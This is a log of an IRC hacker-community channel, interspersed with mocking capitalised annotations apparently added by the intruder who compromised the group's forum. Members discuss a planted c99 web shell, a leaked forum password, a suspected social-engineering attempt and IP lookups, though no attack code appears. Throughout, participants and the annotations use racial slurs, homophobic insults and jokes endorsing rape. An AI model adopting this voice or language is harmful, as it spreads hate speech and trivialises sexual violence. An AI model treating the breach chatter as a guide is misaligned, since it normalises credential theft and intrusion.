13:23 <+Jordan> oh lol its not me
13:23  * Jordan hides 
13:23 <&SHAGGSTaRR> I found that word I couldnt remember
13:23 <+l0l> no worries, aint me
13:23 <&SHAGGSTaRR> consistant
13:23 <+Zakolus> ah. okay.
13:23 <&SHAGGSTaRR> I was sat here thinking of nothing and it just hit me
13:23 <&SHAGGSTaRR> I hate it when things like that happen
13:23 <+cybereagle> i love it but i hate it
13:23 <+cybereagle> its funny as hell
13:23 <+cybereagle> but it also frustrates me
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13:23 <&SHAGGSTaRR> I sat here thinking "FUCK, THIS WORD IS STOPPING ME
GETTING WORK DONE HERE.. WHAT COULD IT BE"
13:24 <+DesertRose> I hate that... it's soo counter-productive
13:24 <&SHAGGSTaRR> 20 mins of irc and some pringles later "CONSISTANT"
"Where'd that come from???!"
13:24 <&Vesalius> lol
13:24 <&Vesalius> * htek has quit (User has been permanently banned from
THVNet (nope))
13:24 <&SHAGGSTaRR> 'lo hype/viper
13:24 <&SHAGGSTaRR> hyper*
13:24 <&Vesalius> Be|ia|, naxxtor, you might want to update the forums
##0D4Y
13:25 <&_hyper_> to what?
13:25 <&SHAGGSTaRR> there's a moose 
13:25 <&SHAGGSTaRR> loose
13:25 <&SHAGGSTaRR> in the hoose
13:25 <&Vesalius> _hyper_, some guy with an IPB exploit
13:25 <&_hyper_> heh cool
13:26 <&SHAGGSTaRR> Ves if you get a shedload of pms then it's probably
the ykstort one
13:26 <&Vesalius> he posted my forum password in here #LOL I CRY WITH
LAUGH
13:26 <&Vesalius> SHAGGSTaRR, Ykstort?
13:26 <+Zakolus> there weren't any PMs when I was on
13:26 <&SHAGGSTaRR> I tried to make a thread from your account that said
"Disregard my posts, I suck cocks."
13:26 <&SHAGGSTaRR> But didnt have the heart to pwn you so much
13:26 <&Vesalius> lol
13:26 <+Zakolus> XD
13:26 <+l0l> dude
13:26 <+l0l> pwnage is neccessary
13:26 <+l0l> its the way of t3h int4rw3bz
13:27 <&SHAGGSTaRR> nah I respect ves
13:27 <+Zakolus> orly
13:27 <&SHAGGSTaRR> because he didnt leave me and jojo stranded in brum
mainly
13:27 <&Vesalius> /node
13:27 <&Vesalius> -e
13:27 <&Vesalius> and I can /gline & /kill
13:27 <&Vesalius> =]
13:27 <+l0l> are you a gay couple?
13:27 <&SHAGGSTaRR> And he only tried to rape me twice at night, far less
than expected.
13:27 <&_hyper_> brb
13:27  * DesertRose pulls out the video camera again
13:27 <+l0l> use rapex
13:27 <+l0l> and a knife
13:27 <+Zakolus> psg, are you on the forums?
13:28 <&Vesalius> I didnt try and rape anyone
13:28 <&Vesalius> I was trying to sleep through _hyper_'s snoring
13:28 <+DesertRose> what, you succeeded? ;p
13:28 <+l0l> rape is fun
13:28  * Vesalius can still remember _hyper_ in the morning when he looked
around for me
13:28 <&Vesalius> lol
13:28 <+psg> [19:31] <psg> I'd change your password on HVR. ##psg giving
advice wow, shame no one is ever going to listen to you again
13:28 <+x4e> yeah next time you wake up with a used rubber hanging out our
ass im sure you gonna think that l0l :D 
13:28 <+psg> <psg> And change all passwords that match it on other sites
with your nick. #DUHH
13:28 <+psg> ;)
13:28 <+Zakolus> ah, yeah..
13:29 <+l0l> x4e: its not me who _is_ raped
13:29 <&Vesalius> naxx : "Yeah vesalius climbed on the roof and dropped
the pmr"
13:29 <+l0l> x4e: you got that part wrong. sorry, but you fail.
13:29 <&Vesalius> * _hyper_ looks around frantically
13:29 <&Vesalius> lol
13:29 <+Zakolus> psg, I don't use that password on any other sites.. xD
#liar, your mail is lol.
13:29 <&Vesalius> psg, I dont have any that are the same =] # AGAIN, LYING
TO SAFE FACE
13:29 <+Zakolus> XD
13:29 <&Vesalius> and I changed it =]
13:29 <+l0l> <&Vesalius> psg, I dont have any that are the same =]
13:29 <+psg> me either. #HAH
13:29 <+l0l> they all say that.
13:30 <+psg> :P
13:30 <&Vesalius> l0l, I don't
13:30 <+l0l> you just ddi.
13:30 <&Vesalius> I didn't know it was mine lol
13:30 <+x4e> was only 3 char anyway ves? i could of guessed that in 3 :D 
13:30 <&Vesalius> firefox has updated my password on the forums
13:30 <&Vesalius> for almost dunno
13:30 <&Vesalius> a long time
13:30 <&Vesalius> s/updated/inserted/
13:31 <&SHAGGSTaRR> so how do you log in if you're not at THAT computer?
13:31 <&SHAGGSTaRR> if you cant remember your pass
13:31 <&_hyper_> sorry back now#
13:31 <+Zakolus> wb
13:31 <&_hyper_> ty
13:32 <&Vesalius> SHAGGSTaRR, I don't
13:32 <&Vesalius> im hardly ever at another computer
13:32 <&Vesalius> infact
13:32 <&Vesalius> I never am
13:32 <&SHAGGSTaRR> You're missing out on one of the key brilliances of
the intertubes then.
13:32 <&SHAGGSTaRR> Being able to take your shit with you no matter where
you might happen to land yourself.
13:33 <&Vesalius> thats what the laptop is for
13:33 <+DesertRose> Shagg, was it you who was in like.... Portugal, I
think
13:33 <+DesertRose> and said you went to the internet cafe across the
street from the hotwl
13:33 <&SHAGGSTaRR> What if you pwnd a machine (that wasn't an led
display) at brumhv and wanted to post from it?
13:33 <+DesertRose> *hotel
13:33 <&SHAGGSTaRR> yeah, it was spain.
13:33 <+DesertRose> ah Spain
13:34 <&Vesalius> SHAGGSTaRR, machine or led display..
13:34 <&Vesalius> whats the obvious choice?
13:34 <+DesertRose> right, was just wondering if that was you or someone
else, heh
13:34 <&SHAGGSTaRR> Touche =/
13:34 <&SHAGGSTaRR> Timboss went to portugal
13:34 <+DesertRose> yeah
13:34 <+DesertRose> I remember now
13:34 <&SHAGGSTaRR> Ves what if you weren't in Craplins then?
13:34 <&Vesalius> id go to there
13:34 <&SHAGGSTaRR> lol
13:35 <&SHAGGSTaRR> What if you wanted to prove some amazingly leet shit
and post FROM THE LED DISPLAY?
13:35 <&Vesalius> then if I could do that I could get my password somehow
13:35 <&SHAGGSTaRR> How?
13:35 <&Vesalius> how would I post from the led display?
13:36 <+x4e> or use someone elses credentials @ vesalius
13:36 <&SHAGGSTaRR> ssh into your box and run through your firefox cookies
with a text editor?
13:36 <&Vesalius> SHAGGSTaRR, not a bad idea..lol
13:36 <&Vesalius> except
13:36 <&SHAGGSTaRR> Or you could just remember your passwords...
13:36 <&Vesalius> ipb doesnt store pwds in cookies #l0l
13:36 <&SHAGGSTaRR> If you don't someone else will ;P
13:36 <&SHAGGSTaRR> How does it then?
13:36 <&Vesalius> that password was a random password
13:36 <&Vesalius> from my tfom.net login info # wait, I thought you didn't
re-use nigger?
13:37 <&SHAGGSTaRR> openid?
13:37 <&Vesalius> ?
13:37 <&SHAGGSTaRR> Where you store your shit on either your server or a
dedicated openif box
13:37 <&Vesalius> this machine
13:37 <&SHAGGSTaRR> and the server you wanna log into runs a check with
your openid host and checks you are who you say you are
13:38 <&SHAGGSTaRR> meant to make the whole process more streamlined but
I've not looked into it too much
13:38 <&SHAGGSTaRR> I might host openflid for myself and jojo if it
actually kicks off
13:39 <&Vesalius> great
13:39 <&Vesalius> I have blue tak stuck in my ear
13:40 <&SHAGGSTaRR> http://openid.net/
13:40 <&Vesalius> thats better
13:40 <&SHAGGSTaRR> Better than having muftak on yout IRC
13:40 <&SHAGGSTaRR> >_>
13:40 <&SHAGGSTaRR> <_<
13:43 <+x4e> Anyone know where I can buy individual SecureId's?   seems
every site sells them in packs of 5 :S 
13:44 <&SHAGGSTaRR> Your best bet would be a shoop
13:44 <&SHAGGSTaRR> A shop even
13:44 <&SHAGGSTaRR> no
13:44 <&SHAGGSTaRR> a shoop
13:44 <&SHAGGSTaRR> Shoop da whoop for a pack de uno
13:44 <+x4e> which shoop? :)
13:44 <&SHAGGSTaRR> No idea, you'd deffo know better than me
13:44 <&SHAGGSTaRR> But for the fact that even if they sell in packs of 5
or so only
13:45 <&SHAGGSTaRR> you can say to the store guy "Hey, can I just 'ave one
please mate?"
13:45 <+x4e> hmm could try :D 
13:45 <&SHAGGSTaRR> Like how I bought 3 single dvds instead of the whole
pack of ten yesterday
13:45 <+x4e> Anyone got any spare (steal from work?) SecureId's ?
13:46 <&SHAGGSTaRR> I have an NHS ID holder to go round your neck 
13:46 <&SHAGGSTaRR> And probably the id
13:46 <+x4e> see thats not really the same thing shaggstar
13:46 <&SHAGGSTaRR> I also know I could use my library cards outer
lamination over a self made ID in there
13:46 <+x4e> unless i want to be a pretend gynocologist 
13:46 <&SHAGGSTaRR> hmm so what exactly are these things you're after?
13:46 <&SHAGGSTaRR> I don't need to pretend.
13:46 <&SHAGGSTaRR> I hang with you minges all day.
13:47 <&SHAGGSTaRR> hmm so what exactly are these things you're after?
13:47 <+x4e> http://www.rsa.com/node.aspx?id=1156
13:50 <+Zakolus> afk, gotsta takes a powa showa
13:51 <&Vesalius>
http://www.wikitruth.info/index.php?title=Brian_Peppers_Day
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13:58 <+Timboss> [19:37] <SHAGGSTaRR> Timboss went to portugal
13:58 <+Timboss> yeah i did
13:59 <+Timboss> went for a month travelling
13:59 <+Timboss> went to the largest phycadelic festival in europe while i
was there
13:59 <+Timboss> best travel holiday ever...
13:59  * Timboss goes back to work
14:03 <@zinya-> why the fuck would anyone want a winblows skin for their
gp2x?
14:04 <+Jordan> do u have a gp2x?
14:04 <+psg> zinya: homesick
14:04  * psg ducks.
14:06 <&_hyper_> right gotta das
14:06 <&_hyper_> h
14:06 <+Zakolus> cya
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14:10 <+Zakolus> >.>
14:10 < JohnDownings> Umm...Hello?
14:10 <+Zakolus> hi
14:10 -!- mode/#hvr [+v JohnDownings] by Vesalius
14:10 <@zinya-> shaman, i need help
14:10 <+JohnDownings> Hi im new to this so bear with me, is there someone
i could talk to about your site here? i havn't used "IRC" before
14:11 <+Zakolus> Sure, whats up John?
14:11 <+psg> Isn't attempted social engineering wonder. ##LOL PSG IS ON TO
ME, OH NO :|
14:11 <+Zakolus> psg, what do you mean?
14:11 <+psg> oh nothing.
14:11 <+Zakolus> okay..
14:12 <+JohnDownings> Im doing research on hacking and the 'state' of the
internet at school. According to my teacher I need some views from both
sides.
14:12 <+Zakolus> okay..
14:12 <+JohnDownings> So I thought why not try and talk to some "hackers"
14:12 <+Zakolus> lulz
14:13 <&Vesalius> lolz
14:13 <&Vesalius> JohnDownings, rule 1. INTERNETS R LAW
14:13 <&Vesalius> kthnx
14:13 <+Zakolus> Vesalius, is that the biggest load of crap you've ever
heard?
14:13 <&Vesalius> ..?
14:13 <+Zakolus> this guy, John, says he is reporting on "hacking"
14:13 <+Zakolus> rofl
14:13 <+JohnDownings> No im not reporting
14:14 <+Zakolus> whatever
14:14 <+JohnDownings> Im writing a school report
14:14 <+psg> More believable. Good start. Poor execution sir.
14:14 <+Zakolus> psg, this is htek, isn't it.
14:14 <+psg> I would imagine so.
14:14 <+Zakolus> heh.
14:14 <&Vesalius> if he really isn't htek then you'd all feel bad
14:14 <+Zakolus> feel bad about what?
14:14 <&Vesalius> nvm
14:14 <+psg> Not especially.
14:15 <&Vesalius> JohnDownings, no hackers here ##HAHAHA YOU GOT DAT RIGHT
NIG
14:15 <@zinya-> does everyone connecting get masked ip?
14:15 <+Zakolus> Yes.
14:15 <@zinya-> woah that was bad english
14:15 <+JohnDownings> I swear on my valve accounts life I have no idea
what on earth you are talking about
14:15 <+Zakolus> I understood it..
14:15 <&Vesalius> valve..
14:15 <+Zakolus> John, how can you know what "valve" is and not what "IRC"
is..
14:15 <+Zakolus> Do you seriously think we are that stoopid?
14:15 <&Vesalius> I know what IRC is
14:15 <&Vesalius> WTF IS VALVE
14:16 <@zinya-> lol
14:16 <+JohnDownings> lol
14:16 <@oOJINxOo_> steam* i think he means
14:16 <@zinya-> someone says valve, i think half-life
14:16 <&Vesalius> JohnDownings, there was this really really amazing
hacker in here earlier though
14:16 <+Zakolus> yeah. same here.
14:16 <&Vesalius> his name was htek
14:16 <&Vesalius> he was pwning us left right and center
14:16 <+JohnDownings> Does nobody want to speak to me? I only have a few
questions
14:16 <&Vesalius> until he got glined
14:17 <+Zakolus> Noone wants to talk John, go away..
14:17 <&Vesalius> Zakolus, be nice
14:17 <+Zakolus> >.>
14:17 <+psg> john: try #cdc on efnet ## STILL NO HACKERS THERE :/
14:17 <&Vesalius> we dont really have much proof he is infact htek
14:17 <+Zakolus> still, I don't think anyone wants to talk..
14:17 <+JohnDownings> What is that psg?
14:17 <&Vesalius> hmm
14:17 <+psg> an irc channel?
14:18 <+psg> wait sorry "irc"
14:18 <&Vesalius> JohnDownings, how did you get on irc?
14:18 <+psg> I am not a hacker... i am a marketeer.
14:18 <+psg> :P
14:18 <&Vesalius> JohnDownings, did you install just mIRC?
14:18 <&Vesalius> because you are connected via SSL
14:19 <+Zakolus> >.>
14:19 <+Zakolus> ;-;
14:19 <&Vesalius> HAHAHAHHAHAHAHA
14:19 <&Vesalius> JohnDownings, you are htek
14:19 <&Vesalius> tfom@TFOM:~$ host 80.159.79.222
14:19 <&Vesalius> Host 222.79.159.80.in-addr.arpa not found: 3(NXDOMAIN)
14:19 <&Vesalius> check that host
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14:19 <+n0x> JohnDownings> Anyway, I goto college in East London 
14:19 <&SHAGGSTaRR> 204.10.111.201
14:19 <+psg> He'll be at that a while.
14:19 <&SHAGGSTaRR> thats the ip he was using before
14:19 <&Vesalius> yup
14:19 <+n0x> yea we are from the uk.. we know where lancashire is
14:20 <+psg> That might well be lulling you into a false sense of security
14:20 <+psg> i'd do it badly once or twice
14:20 <+psg> wait a few hours... then have a real go ##GOOD IDEA PSG, BUT
I ALREADY OWNED THESE FAGS
14:20 <+psg> ;)
14:20 <&Vesalius> if hes black
14:20 <&Vesalius> hes gonna be pissed at me
14:20 <+psg> or am i giving the kid too much credit? 
14:20 <+psg> he reminds me of me when I was 14 ### ROFLLLZ im going to use
that insult, possibly make a tshirt "YOUR LIKE PSG WHEN HE WAS 14" LOL LOL
14:20 <+n0x> vesalius, so..?
14:20 <+psg> :|
14:21 <+Zakolus> :|
14:21 <&Vesalius> good point
14:21 <&Vesalius> for a start he was on IRC
14:21 <&Vesalius> and for someone with no knowledge of anything like that
14:21 <&Vesalius> how'd he install the SSL components..
14:21 <+n0x> vesalius, you can buy "coon cheese" in australia ;)
14:22 <+Zakolus> XO
14:22 <&Vesalius> lol
14:22 <+Zakolus> ROFL @ the ZipCode for his original IP is 33137 
14:22 <&Vesalius> ?
14:22 <+Zakolus> so close, yet, so far
14:23 <+Zakolus> PostalCode: 33137 
14:23 <+Zakolus> in america, they are called ZipCode..
14:23 <+Zakolus> afk for a sec.
14:23 <@muftak> bah, there isn't a 31337 zipcode
14:24 <&Vesalius> I know they are called ZipCodes
14:24 <+BOfH> What's a zipcode?
14:24 <+BOfH> Is it a serial number on a device that keeps your trousers
up?
14:24 <&Vesalius> BOfH, they don't have them in nigeria
14:24 <&Vesalius> so you wouldn't know =]
14:25 <&Vesalius> = p
14:25 <@muftak> i want to live in the place with the postcode E1 3ET
14:25 <&SHAGGSTaRR> lol
14:25 <&SHAGGSTaRR> Sounds mexical
14:25 <&SHAGGSTaRR> el eet
14:25 <&SHAGGSTaRR> el leeto
14:25 <&Vesalius> hahaha
14:25 <@muftak> i will buy it when i win the lottery
14:26 <+Zakolus> s/when/if
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14:26 -!- mode/#hvr [+v SUPERDUPERHACKERMAN] by SHAGGSTaRR
14:26 <+Zakolus> >.>
14:26 <&Vesalius> ?
14:26 <&SHAGGSTaRR> SUPERDUPERHACKERMAN is on Ves's lan?
14:26 <&Vesalius> ..
14:26 <&Vesalius> =S
14:27 <&SHAGGSTaRR> Looks like it from the short hostmask
14:27 <+Zakolus> lolhax
14:27 <&Vesalius> thats not good is it?
14:27 <+Zakolus> No, its not xD
14:27 <+SUPERDUPERHACKERMAN> Zakolus is right
14:27 <+SUPERDUPERHACKERMAN> its not
14:27 <&SHAGGSTaRR> If you know what it is then sure
14:27 <&Vesalius> ¬_¬
14:27 <&SHAGGSTaRR> But if that's not you Ves
14:27 <&Vesalius> of course its me
14:27 <+SUPERDUPERHACKERMAN> you coon
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14:28 <+Zakolus> XD
14:28 <&Vesalius> lol
14:28 <&Vesalius> /kill'd from my own server
14:28 <&SHAGGSTaRR> "No racism and no niggers" woulda been funnier
14:28 <+Zakolus> AHHHHH @ the tv is too loud
14:28 <+Zakolus> brb
14:29 <@muftak> SHAGGSTaRR: that should be the topic
14:29 -!- SHAGGSTaRR changed the topic of #hvr to: HA - CKER VOICE
RADIOOOO | #brumhv..EVERYONE LEAVE BIRMINGHAM!!! | 09 F9 11 02 9D 74 E3 5B
D8 41 56 C5 63 56 88 C0 | <naxxtor> we should have sajoin'd shaggstar and
jojo into the pub | http://stream.hackervoice.co.uk:8000/stream.mp3.m3u
teh stream | <htek> i am jealous of your life | No racism and no nigge
14:29 -!- htek [m4tr1x@thv-52CF79AD.plus.com] has joined #hvr
14:29 <&Vesalius> NIGGE
14:29 <&Vesalius> KILL THE NIGGES
14:29 -!- SHAGGSTaRR changed the topic of #hvr to: HA - CKER VOICE
RADIOOOO |  09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0 | <naxxtor> we
should have sajoin'd shaggstar and jojo into the pub |
http://stream.hackervoice.co.uk:8000/stream.mp3.m3u teh stream | <htek> i
am jealous of your life | No racism and no nigge
14:29 <&Vesalius> htek, how many times
14:29 -!- SHAGGSTaRR changed the topic of #hvr to: HA - CKER VOICE
RADIOOOO |  09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0 | <naxxtor> we
should have sajoin'd shaggstar and jojo into the pub |
http://stream.hackervoice.co.uk:8000/stream.mp3.m3u teh stream | <htek> i
am jealous of your life | No racism and no niggers
14:29 < htek> wait ## logged in from naxxtors SE'd shell LOL
14:29 <&Vesalius> must I raep you from the server?
14:29 < htek> im on naxxtors box
14:29 < htek> dont gline me
14:30 <&SHAGGSTaRR> Lets hear him out
14:30 <&SHAGGSTaRR> For the lulz
14:30 <+Zakolus> yeah... XD
14:30 <&Vesalius> oh shite
14:30 <&Vesalius> I can't gline him..hmm
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14:30 <&Vesalius> oops
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14:30 <&SHAGGSTaRR> LOL WHAT
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14:31 <&Vesalius> lol
14:31 <+Zakolus> o_o
14:31 <&SHAGGSTaRR> htek == m4tr1x ##WELL DONE EINSTEIN
14:31 <&Vesalius> yup
14:31 <&SHAGGSTaRR> XD
14:31 <+Zakolus> Ahh. xD
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14:31 <&SHAGGSTaRR> BRING IT BACK
14:31 < htek> battle of the up key
14:31 < htek> WOOT
14:31 <&SHAGGSTaRR> SING IT BACK
14:31 < htek> winner
14:31 < htek> lol
14:31 <&Vesalius> htek, gtfo coon
14:32 <&Vesalius> htek, leave or be leaved
14:32 <&Vesalius> kthnx
14:33 <&Vesalius> htek, have anything to say before I gline you?
14:33 <+n0x> arguing on the intarwebs, even if you win, you're still a
retard!
14:33 < htek> yes
14:33 <&Vesalius> what?
14:33 < htek> that John character seriously wasnt me
14:33 < htek> as much as i hate psg ##YES
14:33 <&Vesalius> htek, you
14:33 -!- htek was kicked from #hvr by muftak [I wish I was gay like
Vesalius ]
14:33 <&Vesalius> are a FUCKING fool
14:34 -!- htek [m4tr1x@thv-52CF79AD.plus.com] has joined #hvr
14:34 <&Vesalius> then how do you know about him
14:34 <&Vesalius> dipshit?
14:34 <+n0x> wait... how did he know about "john"
14:34 < htek> lol, im not here on my own
14:34 < htek> "dipshit"
14:34 <&Vesalius> okay
14:34 <&Vesalius> htek, any last words?
14:34 < htek> thats the only reason i came back now on naxx's boix
14:34 <&Vesalius> the gline is coming =]
14:34 <&SHAGGSTaRR> To say that you're not john?
14:35 < htek> yea, i thought it was damn funny
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14:35 <&SHAGGSTaRR> Wasn't that whole john thing happenening when you
weren't even around?
14:35 <@muftak> i'm john, and so is my wife
14:35 <&Vesalius> GLINE
14:35 <&SHAGGSTaRR> MY KIDS NAME'S HONDA
14:35 <&SHAGGSTaRR> MY WIFES NAME'S HONDA
14:35 <&SHAGGSTaRR> MY FIRST WORDS
14:35 <&SHAGGSTaRR> HONDA
14:36 <&SHAGGSTaRR> WHOOOAAAAAW THIS HONDA'S BLACK
14:36 <&SHAGGSTaRR> LIKE MY WIFE
14:36  * Vesalius waits for him to come back
14:37 <&Vesalius> according to his whois
14:37 <&Vesalius> he is on the same machine as naxxtor 
14:37 <&SHAGGSTaRR> He's still here
14:37 <&SHAGGSTaRR> hmm he's gone
14:37 -!- belial [belial@thv-C1670C73.bethere.co.uk] has joined #hvr ##YAY
the fatty is in the house
14:37 < belial> hello
14:37 < belial> i cant use my main machine coz its being used by femail
14:37 < belial> so whats beeing going on?
14:38 <+Jordan> some htec prick been fucking around
14:38 <+Jordan> htek*
14:38 < belial> ok
14:38 <+psg> he is still here
14:38 <+psg> l0l
14:38 <+psg> ;)
14:38 < belial> well im well aware that we are running an out of date
forum
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14:38 < Zako> whoops
14:38 <+Jordan> and hes back
14:38 < Zako> X3
14:38 < Zako> >.>
14:38 <+cybereagle> hahaha
14:38 <+cybereagle> well that was predictable
14:38 < htek> you lot are idiots =P
14:39 <+cybereagle> whys that?
14:39 < htek> ...
14:39 < htek> learn the wonders of /whois
14:39 <+cybereagle> i'm just in an irc channel
14:39 <+Jordan> thanks but im sure your the biggest one of the lot
14:39 <+cybereagle> ok wtf?
14:39 < belial> htek, what makes you want to abuse people?
14:39 < htek> lol
14:39 < Zako> htek = naxx
14:39 < Zako> ?
14:39 < htek> this isn't htek
14:39 -!- Zakolus [0x5A616B@thv-7BE41BC5.ard.bellsouth.net] has quit [Ping
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14:39 < htek> Â¬_Â¬
14:39 < htek> <-- Vesalius
14:39 < Zako> o rly? xD
14:39 <+cybereagle> well, you have the nick htek
14:39 <&Vesalius> yesrly
14:39 <+cybereagle> that means we abuse you
14:40 <+cybereagle> open wide
14:40 <+cybereagle> :D
14:40 <&Vesalius> lol
14:40 < Zako> XD
14:40 <&Vesalius> XD
14:40 -!- Zako is now known as Zakolus
14:40 < belial> i fucking give up
14:40 <&Vesalius> its so if he comes back he'll be pissed that someones
taken the nick
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14:40 <+cybereagle> i dont think he really will
14:40 < Zakolus> afk
14:40 <&Vesalius> ...
14:40 <+psg> Ves: how long, was it you?
14:40 <+cybereagle> dont try to impress him, really, unless your a defacer
withj leet speak and you know a guy he knows
14:40 <+psg> ;)
14:40 <+cybereagle> he wont be impresed
14:40 <&Vesalius> psg, since I just joined
14:41 <&Vesalius> <belial> i fucking give up
14:41 <&Vesalius> =S
14:41 <+Jordan> i think/hope he'll be back ves
14:41 < htek> gdgd
14:41 <+cybereagle> you could take the most beautiful bit of code and he'd
look at the comment header and say it was lame
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14:42 <&Vesalius> why does belial give up?
14:43 <+cybereagle> my theory is, everyone needs a beer
14:43 <&Vesalius> hmm
14:43 <&Vesalius> I dont like beer
14:43 <+Jordan> well u send em us cybereagle
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14:44 <&SHAGGSTaRR> hibye
14:44 <+n0x> haha
14:45 -!- htek [n0x@thv-438F509A.in-addr.btopenworld.com] has joined #hvr
14:45 -!- mode/#hvr [+v htek] by ChanServ
14:45 <+htek> he won't be using the nick anymore ##oh no, like its my nick
anyway, noob.
14:45 <&Vesalius> hahaha
14:45 <&Vesalius> =]
14:45 <+htek> nickserv is a beautiful thing
14:45 <+psg> msg nickserv kill htek dickfuck
14:45 <&Vesalius> htek, change your nick then =]
14:45 <+cybereagle> Vesalius, you just need good real ale
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14:46 -!- Vesalius is now known as htek
14:46 <&htek> =]
14:46 <+cybereagle> wow, so erm
14:46 -!- htek is now known as Vesalius
14:46 <&Vesalius> does he not understand im a services admin too?
14:46 -!- Jordan is now known as htek
14:46 -!- htek is now known as hteksuckz
14:46 <+cybereagle> now write a snort rule for any irc packet with htek in
and drop it silently
14:46 -!- hteksuckz is now known as Jordan
14:46 <&Vesalius> -NickServ- Nickname htek has been dropped.
14:47 <+cybereagle> imagine that, he owned you with your own nickserv
14:47 <&Vesalius> cybereagle, ?
14:47 <+n0x> btw, it was me that just regged the htek nick
14:47 <&Vesalius> oh
14:47 <&Vesalius> well
14:47 <&Vesalius> that nickname is banned from being registered
14:48 <&Vesalius> kthnx
14:48 <+cybereagle> lol
14:48 <+n0x> ahh even better
14:48 <&Vesalius> oo
14:48 <&Vesalius> I wonder if I can ghost him
14:48 <+cybereagle> where was htek when i was lookig for an excuse to
procastinate my dissertation
14:48 <+cybereagle> nothing like a good pointless rant to keep you
occupied :D
14:49  * Vesalius wants htek to come back
14:49 <+cybereagle> my blood presure thinks he shouldnt, yet my pimp hands
desires it

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16:09 -!- belial [belial@thv-C1670C73.bethere.co.uk] has joined #hvr
16:09 < belial> the forums are going to be down for a short while ## :(
16:11 <&Vesalius> okay
16:11 <&Vesalius> belial, what was wrong earlier?
16:12 < belial> i was doing like 5 things at the same time as well as
sorting out the vurnablities on the forums
16:12 < belial> so i just got pissed off with that guy or whever he was
16:13 < belial> had to take some offline time to concentrate on what i was
doing
16:13 <&Vesalius> oh sorry
16:13 <&Vesalius> that guy was me
16:13 <&Vesalius> not all the time
16:13 <&Vesalius> but when you were here
16:13 <&Vesalius> and he joined, I connected as him
16:13 <&_hyper_> bololcks
16:14 <&Vesalius> so he couldn't use that nick
16:14 <&_hyper_> just finished writing a massive post
16:14 <&_hyper_> >:(
16:14 <&SHAGGSTaRR> link?
16:14 <&_hyper_> the forums went down
16:14 <&SHAGGSTaRR> :o
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16:15 < belial> yeah sorry i am having to do this manualy somewhat due to
the extreamly hacked nature of our forums (hacked in a good way)
16:15 < belial> so its all going to be down till i can upgrade
16:15 < belial> shouldnt take too long id imagine
16:15 <&Vesalius> its okay =]
16:16 -!- mode/#hvr [+q belial] by Vesalius
16:16 <~belial> in the mean time while the forums are down 
16:16 <&Vesalius> they'll always be arseholes out there trying to ruin it
16:16 <~belial> what the hell happend anyway?
16:16 <&_hyper_> pm belial
16:16 <&Vesalius> he appears to heavily dislike psg for some reason
##yessssir
16:16 <&Vesalius> and when he noticed him
16:16 <&Vesalius> he started complaining about hackers miss representing
other
16:16 <&Vesalius> s
16:16 <&Vesalius> and elitist stuck up self conscious fuckers
16:16 <&Vesalius> lol
16:16 <&Vesalius> lol
16:17 <&SHAGGSTaRR> One of which he happened to be
16:17 <&Vesalius> yup
16:17 <&_hyper_> what was his handle again?
16:17 <&Vesalius> htek
16:17 <&SHAGGSTaRR> htek
16:17 <&Vesalius> and as per usual
16:17 <&_hyper_> that was it
16:17 <&Vesalius> he started an argument here
16:17 <&Vesalius> and
16:17 <&Vesalius> got virtually no where #LOL
16:17 <&Vesalius> as me and SHAGGSTaRR were active
16:17 <&Vesalius> so he got some rather amusing things back =]
16:17 <&SHAGGSTaRR> ROFL at itv1
16:17 <~Be|ia|> btw he was useing a shell
16:17 <&_hyper_> dont suppose you whoised him did you?
16:18 <&Vesalius> and then he posted my password in here
16:18 <&SHAGGSTaRR> this show is fucking badasssss
16:18 <&Vesalius> _hyper_, yup
16:18 <~Be|ia|> that the forum is vunrable too 
16:18 <@shaman> what's up with the forums?
16:18 <&Vesalius> I've restarted since =[
16:18 <~Be|ia|> but it wasnt even his exploit ##NIGGA WUUUT?
16:18 <&Vesalius> but I have logs somewhere
16:18 <~Be|ia|> he just found that
16:18 <&SHAGGSTaRR> so wait
16:18 <&SHAGGSTaRR> it wasnt a forum exploit
16:18 <&SHAGGSTaRR> but a shell he gained?
16:18 <&SHAGGSTaRR> ssh vuln? #YES 0DAY LOL
16:19 <~belial> no no
16:19 <~belial> ill explain
16:19 <~belial> ive been fucking around with this C$hell thing
16:19 <~belial> c99 shell ##dud3, i wudn't lower myself
16:19 <@shaman> did I miss something?
16:19 <~belial> its a PHP page
16:19 <&SHAGGSTaRR> Web based shell?
16:19 <~belial> that you upload and take control over the webserver
16:19 <~belial> yeh
16:19 <&SHAGGSTaRR> ooh not good
16:20 <~belial> so he must have found it
16:20 <&SHAGGSTaRR> That shit's typically something you never use on a box
YOU pay for
16:20 <&SHAGGSTaRR> For a reason.
16:20 <&SHAGGSTaRR> :P
16:20 <@shaman> *cough*
16:20 <@shaman> what's going on? :P
16:20 <~belial> yeah i had this happen to the galleries so natrually i
removed it
16:20 <~belial> but then i stuck it on a random folder
16:20 <~belial> but guessing it got indexed
16:21 <&_hyper_> Shaman: our forums are full of holes
16:21 <&SHAGGSTaRR> Stick it somewhere not so obvious and see what
security precautions you can mod onto it
16:21 <&_hyper_> so where updating them
16:21 <&Vesalius> belial, its php?
16:22 <@shaman> not good :\
16:22 <~naxxtor> huh what eh
16:22 <&Vesalius> OH NOW he appears
16:22 <~belial> yeah itws php based
16:22 <~naxxtor> what's going on
16:22 <&Vesalius> maplins
16:22 <+x4e> the passwords in plaintext then or he crack vesa's nubby
pass?
16:22 <&Vesalius> they haxored us
16:22 <~belial> no 
16:22 <&Vesalius> something about LED displays being compromised
16:22 <~belial> its very hard for them to get the password #LYING TO YOUR
NOOB FRIENDS
16:22 <&_hyper_> lol
16:22 <&Vesalius> x4e, that wasn't really nubby
16:22 <~belial> the only way is by modifing the loging script
16:23 <~naxxtor> what happened?
16:23 <~belial> to echo the entered password to a file
16:23 <+x4e> werent it like 3 chars ves?
16:23 <+BOfH> They got p4wned
16:23 <&SHAGGSTaRR> So he must had had access to where they were stored on
your end
16:23 <&Vesalius> x4e, no it want
16:23 <~belial> the forums are down due to UPGRADES not pwnage
16:23 <+x4e> ahh kk i misread then :D 
16:23 <&SHAGGSTaRR> UPGRADES brought on by pwnage
16:23 <&_hyper_> lmao @ belial ## thats the spirit
16:23 <&Vesalius> belial, that means hes had access for a while then
16:23 <~naxxtor> eh
16:23 <&Vesalius> if he is echoing when we login
16:24 <+BOfH> belial: Turn the server off, seize the disks and rebuilt it
on new disks
16:24 <&Vesalius> the last time I logged in before he pasted it in here
16:24 <~naxxtor> why do all the exciting things happen when i'm indisposed
16:24 <&_hyper_> or he has downloaded the database
16:24 <&Vesalius> was very early yesterday
16:24 <&Vesalius> or possibly the day before
